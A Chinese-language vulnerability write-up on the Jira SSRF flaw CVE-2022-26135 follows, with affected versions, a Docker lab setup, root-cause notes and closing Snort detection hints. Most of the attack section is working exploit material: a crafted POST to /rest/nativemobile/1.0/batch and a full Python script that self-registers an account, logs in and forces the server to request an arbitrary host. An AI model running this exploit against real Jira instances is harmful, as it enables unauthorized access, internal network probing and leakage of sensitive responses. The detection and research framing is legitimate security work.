漏洞描述

JIRA[4] 是一个缺陷跟踪管理系统,为针对缺陷管理、任务追踪项目管理的商业性应用软件,.基于Java架构的管理系统,开发者是Atlassian集项目计划、任务分配、需求管理、错误跟踪于一体的商业软件。2022年 6月29日,Atlassian官方发布安全公告,在Atlassian Jira 多款产品中存在服务端请求伪造漏洞(SSRF),经过身份验证的远程攻击者可通过向Jira Core REST API发送特制请求,从而伪造服务端发起请求,从而导致敏感信息泄露,同时为下一步攻击利用提供条件。需注意的是,若服务端开启注册功能,则未授权用户可通过注册获取权限进而利用。

利用范围

Jira Core Server, Jira Software Server, and Jira Software Data Center:

  • Versions after 8.0 and before 8.13.22
  • 8.14.x
  • 8.15.x
  • 8.16.x
  • 8.17.x
  • 8.18.x
  • 8.19.x
  • 8.20.x before 8.20.10
  • 8.21.x
  • 8.22.x before 8.22.4

Jira Service Management Server and Data Center:

  • Versions after 4.0 and before 4.13.22
  • 4.14.x
  • 4.15.x
  • 4.16.x
  • 4.17.x
  • 4.18.x
  • 4.19.x
  • 4.20.x before 4.20.10
  • 4.21.x
  • 4.22.x before 4.22.4

环境搭建

https://hub.docker.com/r/weareogury/atlassian-jira-software/tags

docker pull weareogury/atlassian-jira-software:8.20.8
docker run -d -p 7080:8080 weareogury/atlassian-jira-software:8.20.8

按照步骤配置

图片

配置成功

漏洞复现

位于com.atlassian.jira.plugin.mobile.util.LinkBuilder.class,URL通过简单的拼接构造,而其中的path来自于location,完全可控。location会从json对象中获取,在获取到URL对象后,再调用httpClientProvider发送Http请求。

因为URL的后半部分是可控的,如果我们简单指定location为@xx.com,那么最终的URL为https://jira-host.com@xx.com,httpClientProvider实际上会对xx.com发送http请求,所以导致了SSRF漏洞产生。

利用链

burp进行改包

POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63

{"requests":[{"method":"GET","location":"@example.com"}]}

exp脚本

项目地址:https://github.com/assetnote/jira-mobile-ssrf-exploit

使用方式:

# requirements.txt
requests
beautifulsoup4
pip3 install -r requirements.txt

and then you can use the exploit using:

python3 exploit.py

Help:

usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]

optional arguments:
  -h, --help           show this help message and exit
  --target TARGET      i.e. http://re.local:8090
  --ssrf SSRF          i.e. example.com (no protocol pls)
  --mode MODE          i.e. manual or automatic - manual mode you need to provide user auth info
  --software SOFTWARE  i.e. jira or jsd - only needed for manual mode
  --username USERNAME  i.e. admin - only needed for manual jira mode
  --email EMAIL        i.e. admin@example.com - only needed for manual jira service desk mode
  --password PASSWORD  i.e. testing123 - only needed for manual mode

If you already have credentials for Jira / Jira Service Desk, then set the --mode to manual and the --software argument to either jira or jsd.


import requests
import string
import random
import argparse
from bs4 import BeautifulSoup as bs4
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument("--target", help="i.e. http://re.local:8090", required=True)
parser.add_argument("--ssrf", help="i.e. example.com (no protocol pls)", required=True)
parser.add_argument("--mode", help="i.e. manual or automatic - manual mode you need to provide user auth info", required=True, default="automatic")
parser.add_argument("--software", help="i.e. jira or jsd - only needed for manual mode")
parser.add_argument("--username", help="i.e. admin - only needed for manual jira mode")
parser.add_argument("--email", help="i.e. admin@example.com - only needed for manual jira service desk mode")
parser.add_argument("--password", help="i.e. testing123 - only needed for manual mode")
args = parser.parse_args()

if args.mode == "manual":
    if args.software == "":
        print("[*] please pass in a software (jira / jsd)")
    if args.software == "jira" and args.email == "" and args.password == "":
        print("[*] must provide an email and password for jira in manual mode")
    if args.software == "jsd" and args.username == "" and args.password == "":
        print("[*] must provide an username and password for jira in manual mode")

# atlast - exploit tested on jira < 8.20.3 / jira service desk < 4.20.3-REL-0018
# for full list of affected jira versions please see the following URL
# https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
# by shubs
banner = """
        _   _           _   
   __ _| |_| | __ _ ___| |_ 
  / _` | __| |/ _` / __| __|
 | (_| | |_| | (_| \__ \ |_ 
  \__,_|\__|_|\__,_|___/\__|

jira full read ssrf [CVE-2022-26135]
brought to you by assetnote [https://assetnote.io]                            
"""

print(banner)

proxies = {} # proxy to burp like this - {"https":"http://localhost:8080"}
session = requests.Session()

def detect_jira_root(target):
    root_paths = ["/", "/secure/" "/jira/", "/issues/"]
    jira_found = ""
    for path in root_paths:
        test_url = "{}/{}".format(target, path)
        r = session.get(test_url, verify=False, proxies=proxies)
        if "ajs-base-url" in r.text:
            jira_found = path
            break
    return jira_found

def get_jira_signup(target, base_path):
    test_url = "{}{}".format(target, base_path)
    r = session.get(test_url, verify=False, proxies=proxies)
    signup_enabled = False
    if "Signup!default.jspa" in r.text:
        signup_enabled = True
    return signup_enabled

def signup_user(target, base_path):
    test_url = "{}{}secure/Signup!default.jspa".format(target, base_path)
    test_url_post = "{}{}secure/Signup.jspa".format(target, base_path)
    r = session.get(test_url, verify=False, proxies=proxies)
    if 'name="captcha"' in r.text:
        print("[*] url {} has captchas enabled, please complete flow manually and provide user and password as arg".format(test_url))
        return False, {}
    if "Mode Breach" in r.text:
        print("[*] url {} has signups disabled, trying JSD approach".format(test_url))
        return False, {}
    # captcha not detected, proceed with registration
    html_bytes = r.text
    soup = bs4(html_bytes, 'lxml')
    token = soup.find('input', {'name':'atl_token'})['value']
    full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6))
    email = "{}@example.com".format(full_name)
    password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"
    paramsPost = {"password":password,"Signup":"Sign up","atl_token":token,"fullname":full_name,"email":email,"username":full_name}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
    cookies = {"atlassian.xsrf.token":token}
    r = session.post(test_url_post, data=paramsPost, headers=headers, cookies=cookies, verify=False, proxies=proxies)
    if "Congratulations!" in r.text:
        print("[*] successful registration")
        user_obj = {"username": full_name, "password": password, "email": email}
        return True, user_obj

# attempts to signup to root JSD
def register_jsd(target, base_path):
    register_url = "{}{}servicedesk/customer/user/signup".format(target, base_path)
    full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6))
    email = "{}@example.com".format(full_name)
    password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"

    # try and sign up to the service desk portal without project IDs (easy win?)
    rawBody = "{{\"email\":\"{}\",\"fullname\":\"{}\",\"password\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email, full_name, password)
    headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
    r = session.post(register_url, data=rawBody, headers=headers, verify=False, proxies=proxies)
    if r.status_code == 204:
        print("[*] successful registration")
        user_obj = {"username": full_name, "password": password, "email": email}
        return True, user_obj
    print("[*] url {} has non-captcha user/pass signups disabled :(".format(register_url))
    register_email_url = "{}{}servicedesk/customer/user/emailsignup".format(target, base_path)
    rawBody = "{{\"email\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email)
    r = session.post(register_email_url, data=rawBody, headers=headers, verify=False, proxies=proxies)
    if r.status_code == 204:
        print("[*] registration may be possible via emailsignup endpoint")
        print("[*] you will have to manually exploit this with a real email")
        print("[*] visit {}".format(register_url))
        return False, {}
    if r.status_code == 400:
        print("[*] registration may be possible via emailsignup endpoint")
        print("[*] you will have to manually exploit this with a real email and captcha")
        print("[*] visit {}".format(register_url))
        return False, {}
    print(r.status_code)
    return False, {}

def exploit_ssrf_jsd(target, base_path, user_obj, ssrf_host):
    login_url = "{}{}servicedesk/customer/user/login".format(target, base_path)
    paramsPost = {"os_password":user_obj["password"],"os_username":user_obj["email"]}
    headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
    r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)

    if "loginSucceeded" in r.text:
        print("[*] successful login")

    test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path)
    rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host)
    headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
    r = session.post(test_url, data=rawBody, headers=headers)

    print("Status code:   %i" % r.status_code)
    print("Response body: %s" % r.content)

def exploit_ssrf_jira(target, base_path, user_obj, ssrf_host):
    login_url = "{}{}login.jsp".format(target, base_path)
    paramsPost = {"os_password":user_obj["password"],"user_role":"","os_username":user_obj["username"],"atl_token":"","os_destination":"","login":"Log In"}
    headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
    r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)
    
    if r.headers["X-Seraph-LoginReason"] == "OK":
        print("[*] successful login")

    test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path)
    rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host)
    headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
    r = session.post(test_url, data=rawBody, headers=headers)

    print("Status code:   %i" % r.status_code)
    print("Response body: %s" % r.content)


# target = "http://re.local:8090"
# ssrf_host = "907zer1sxey5czbnnf7p9d1zfqlj98.oastify.com"

user_obj = {}

successful_jira_signup = False
successful_jsd_signup = False

jira_root = detect_jira_root(args.target)

if args.mode == "manual" and args.software == "jira":
    user_obj = {"username": args.username, "password": args.password, "email": args.email}
    exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)

if args.mode == "manual" and args.software == "jsd":
    user_obj = {"username": args.username, "password": args.password, "email": args.email}
    exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)

if args.mode == "automatic":
    signup_enabled = get_jira_signup(args.target, jira_root)
    successful_jira_signup, user_obj = signup_user(args.target, jira_root)

    if successful_jira_signup == True:
        exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)

    if successful_jira_signup == False:
        # try to sign up to jira service desk instead
        successful_jsd_signup, user_obj = register_jsd(args.target, jira_root)
        if successful_jsd_signup:
            exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)

if successful_jira_signup == False and successful_jsd_signup == False:
    print("[*] sorry boss no ssrf for you today")

规则提取

注意端口范围:

默认的$HTTP_PORTS

[36,80,81,82,83,84,85,86,87,88,89,90,311,383,555,591,593,631,801,808,818,901,972,1158,1220,1414,1533,1741,1830,1942,2231,2301,2381,2578,2809,2980,3029,3037,3057,3128,3443,3702,4000,4343,4848,5000,5117,5250,5600,6080,6173,6988,7000,7001,7071,7144,7145,7510,7770,7777,7778,7779,8000,8008,8014,8028,8080,8081,8082,8085,8088,8090,8118,8123,8180,8181,8222,8243,8280,8300,8333,8344,8500,8509,8800,8888,8899,8983,9000,9060,9080,9090,9091,9111,9290,9443,9999,10000,11371,12601,13014,15489,29991,33300,34412,34443,34444,41080,44449,50000,50002,51423,53331,55252,55555,56712] 
alert tcp $EXTERNAL_NET any -> $HOME_NET any

特征流量

/rest/nativemobile/1.0/batch
/plugins/servlet/desk

可以作为提取的特征

snort需要注意的细节

使用http_method的时候,要相应的规定http的端口(http服务),要限定端口或者是使用$HTTP_PORTS 变量。不然无法触发。

参考文章

https://paper.seebug.org/1981/

评论